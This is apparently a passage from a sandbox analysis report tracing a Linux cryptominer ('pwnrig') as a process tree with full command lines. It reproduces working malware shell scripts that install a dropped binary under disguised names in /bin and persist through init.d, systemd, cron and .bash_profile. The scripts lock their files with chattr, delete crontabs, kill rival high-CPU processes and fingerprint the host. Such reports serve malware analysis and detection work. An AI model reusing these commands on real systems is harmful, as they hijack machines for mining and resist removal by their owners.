\$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
  2⤵
  - Writes file to tmp directory
  PID:4361
- - /usr/bin/id
    id -u
    3⤵
    PID:4362
- - /usr/bin/id
    id -u
    3⤵
    PID:4363
- - /usr/bin/chattr
    chattr -i -a /bin/bprofr "~/.bash_profile"
    3⤵
    PID:4364
- - /usr/bin/rm
    rm -rf /bin/bprofr
    3⤵
    PID:4365
- - /usr/bin/sed
    sed -i /bprofr/d "~/.bash_profile"
    3⤵
    PID:4366
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/bprofr
    3⤵
    - Writes file to system bin folder
    PID:4367
- - /usr/bin/id
    id -u
    3⤵
    PID:4368
- - /usr/bin/chattr
    chattr +i +a /bin/bprofr "~/.bash_profile"
    3⤵
    PID:4369
- - /usr/sbin/update-rc.d
    update-rc.d -f pwnrig remove
    3⤵
    PID:4435
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4436
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4436
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4436
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4436
- - /usr/bin/rm
    rm -rf /bin/initdr
    3⤵
    PID:4462
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/initdr
    3⤵
    - Writes file to system bin folder
    PID:4463
- - /usr/bin/tee
    tee /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:4465
- - /usr/bin/sed
    sed -i "1 s/-e //" /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:4466
- - /usr/bin/chmod
    chmod +x /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:4467
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig defaults
    3⤵
    PID:4468
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4469
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4469
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4469
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4469
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig enable
    3⤵
    PID:4495
  - - /usr/local/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4496
  - - /usr/local/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4496
  - - /usr/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4496
  - - /usr/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4496
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4497
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4497
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4497
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:4497
- - /usr/bin/chattr
    chattr +i +a /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:4523
- - /usr/bin/which
    which systemctl
    3⤵
    PID:4524
- - /usr/bin/chattr
    chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    - Attempts to change immutable files
    PID:4525
- - /usr/bin/rm
    rm -rf /bin/sysdr
    3⤵
    PID:4526
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/sysdr
    3⤵
    - Writes file to system bin folder
    PID:4527
- - /usr/bin/tee
    tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    - Modifies systemd
    PID:4529
- - /usr/bin/sed
    sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    PID:4530
- - /usr/bin/chattr
    chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    PID:4531
- - /usr/bin/systemctl
    systemctl enable pwnrige.service
    3⤵
    - Reads EFI boot settings
    PID:4532
- - /usr/bin/systemctl
    systemctl enable pwnrigl.service
    3⤵
    PID:4558
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads EFI boot settings
    PID:4584
- - /usr/bin/systemctl
    systemctl reload-or-restart pwnrige.service
    3⤵
    PID:4610

/usr/bin/hostname
hostname -I
1⤵
PID:4326

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4328

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:4333

/usr/bin/head
head -n 1
1⤵
PID:4332

/usr/bin/grep
grep "Port "
1⤵
PID:4331

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:4330

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:4342

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:4341

/usr/bin/cut
cut -d: -f2
1⤵
PID:4340

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:4339

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4345

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4348

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4351

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:4667
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  PID:4691
- - /usr/bin/whoami
    whoami
    3⤵
    PID:4702
- - /usr/bin/hostname
    hostname
    3⤵
    PID:4703
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    PID:4704
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:4720
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:4722
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    PID:4721
- - /usr/bin/id
    id -u
    3⤵
    PID:4724
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:4727
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:4726
- - /usr/bin/ps
    ps x
    3⤵
    - Reads runtime system information
    PID:4725
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:4729
- - /usr/bin/id
    id -u
    3⤵
    PID:4730
- - /usr/bin/awk
    awk "{if(\$3>30.0) print \$2}"
    3⤵
    PID:4735
- - /usr/bin/grep
    grep -v /usr/sbin/httpd
    3⤵
    PID:4734
- - /usr/bin/grep
    grep -v -- "-bash[[:space:]]*\$"
    3⤵
    PID:4733
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:4732
- - /usr/bin/ps
    ps aux
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:4731
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
  2⤵
  PID:4737
- - /usr/bin/id
    id -u
    3⤵
    PID:4738

/usr/bin/hostname
hostname -I
1⤵
- Attempts to change immutable files
PID:4694

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4696

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:4701

/usr/bin/head
head -n 1
1⤵
PID:4700

/usr/bin/grep
grep "Port "
1⤵
PID:4699

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:4698

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:4710

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:4709

/usr/bin/cut
cut -d: -f2
1⤵
PID:4708

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
PID:4707

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4713

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4716

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4719

/usr/bin/wc
wc -l
1⤵
PID:4744

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:4743

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:4742

/usr/bin/grep
grep -v grep
1⤵
PID:4741

/usr/bin/ps
ps aux
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4740

/usr/bin/crontab
crontab -r
1⤵
PID:4747

/usr/bin/pkill
pkill -f .klibsystem5
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4748

/usr/bin/pkill
pkill -f .klibsystem4
1⤵
- Reads CPU attributes
PID:4749

/usr/bin/bash
bash -c "echo \"* * * * * /tmp/.klibsystem5 >/dev/null 2>&1\" | crontab -"
1⤵
PID:4750
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:4752

/usr/bin/chattr
chattr -ia /etc/cron.d/.lib-knlib4
1⤵
- Attempts to change immutable files
PID:4753

/usr/bin/chattr
chattr +ia /etc/cron.d/.lib-knlib4
1⤵
- Attempts to change immutable files
PID:4754

/usr/bin/chattr
chattr -ia /var/spool/cron/.lib-knlib4
1⤵
PID:4755

/usr/bin/chattr
chattr +ia /var/spool/cron/.lib-knlib4
1⤵
PID:4756

/usr/bin/chattr
chattr -ia /etc/cron.hourly/.lib-knlib4
1⤵
PID:4757

/usr/bin/chattr
chattr +ia /etc/cron.hourly/.lib-knlib4
1⤵
PID:4758

/usr/bin/chattr
chattr -ia /etc/cron.daily/.lib-knlib4
1⤵
PID:4759

/usr/bin/chattr
chattr +ia /etc/cron.daily/.lib-knlib4
1⤵
PID:4760

/usr/bin/chattr
chattr -ia /etc/cron.weekly/.lib-knlib4
1⤵
PID:4761

/usr/bin/chattr
chattr +ia /etc/cron.weekly/.lib-knlib4
1⤵
PID:4762

/usr/bin/chattr
chattr -ia /etc/cron.monthly/.lib-knlib4
1⤵
PID:4763

/usr/bin/chattr
chattr +ia /etc/cron.monthly/.lib-knlib4
1⤵
- Attempts to change immutable files
PID:4764

/usr/bin/chattr
chattr -ia /etc/anacrontab
1⤵
PID:4765

/usr/bin/chattr
chattr +ia /etc/anacrontab
1⤵
PID:4766

/tmp/sys-helper
/tmp/sys-helper
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:4767

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4768
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  PID:4769
- - /usr/bin/whoami
    whoami
    3⤵
    PID:4780
- - /usr/bin/hostname
    hostname
    3⤵
    PID:4781
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    - Checks CPU configuration
    PID:4782
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:4798
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:4800
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    PID:4799
- - /usr/bin/id
    id -u
    3⤵
    PID:4802
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:4805
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:4804
- - /usr/bin/ps
    ps x
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:4803
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
  2⤵
  - Writes file to tmp directory
  PID:4807
- - /usr/bin/id
    id -u
    3⤵
    PID:4808
- - /usr/bin/id
    id -u
    3⤵
    PID:4809
- - /usr/bin/chattr
    chattr -i -a /bin/bprofr "~/.bash_profile"
    3⤵
    - Attempts to change immutable files
    PID:4810
- - /usr/bin/rm
    rm -rf /bin/bprofr
    3⤵
    PID:4811
- - /usr/bin/sed
    sed -i /bprofr/d "~/.bash_profile"
    3⤵
    PID:4812
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/bprofr
    3⤵
    - Writes file to system bin folder
    PID:4813
- - /usr/bin/id
    id -u
    3⤵
    PID:4814
- - /usr/bin/chattr
    chattr +i +a /bin/bprofr "~/.bash_profile"
    3⤵
    PID:4815
- - /usr/bin/mkdir
    mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
    3⤵
    PID:4816
- - /usr/sbin/update-rc.d
    update-rc.d -f pwnrig remove
    3⤵
    PID:4881
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4882
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4882
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4882
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:4882
- - /usr/bin/rm
    rm -rf /bin/initdr
    3⤵
    PID:4908
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/initdr
    3⤵
    - Writes file to system bin folder
    PID:4909
- - /usr/bin/tee
    tee /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:4911
- - /usr/bin/sed
    sed -i "1 s/-e //" /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:4912
- - /usr/bin/chmod
    chmod +x /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:4913
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig defaults
    3⤵
    PID:4914
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4915
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4915
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4915
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:4915
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig enable
    3⤵
    PID:4941
  - - /usr/local/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4942
  - - /usr/local/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4942
  - - /usr/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:4942
  - - /usr/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      Reads EFI boot settings
      PID:4942
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4943
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4943
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:4943
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:4943
- - /usr/bin/chattr
    chattr +i +a /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:4969
- - /usr/bin/which
    which systemctl
    3⤵
    PID:4970
- - /usr/bin/chattr
    chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    PID:4971
- - /usr/bin/rm
    rm -rf /bin/sysdr
    3⤵
    PID:4972

/usr/bin/hostname
hostname -I
1⤵
PID:4772

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4774

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:4779

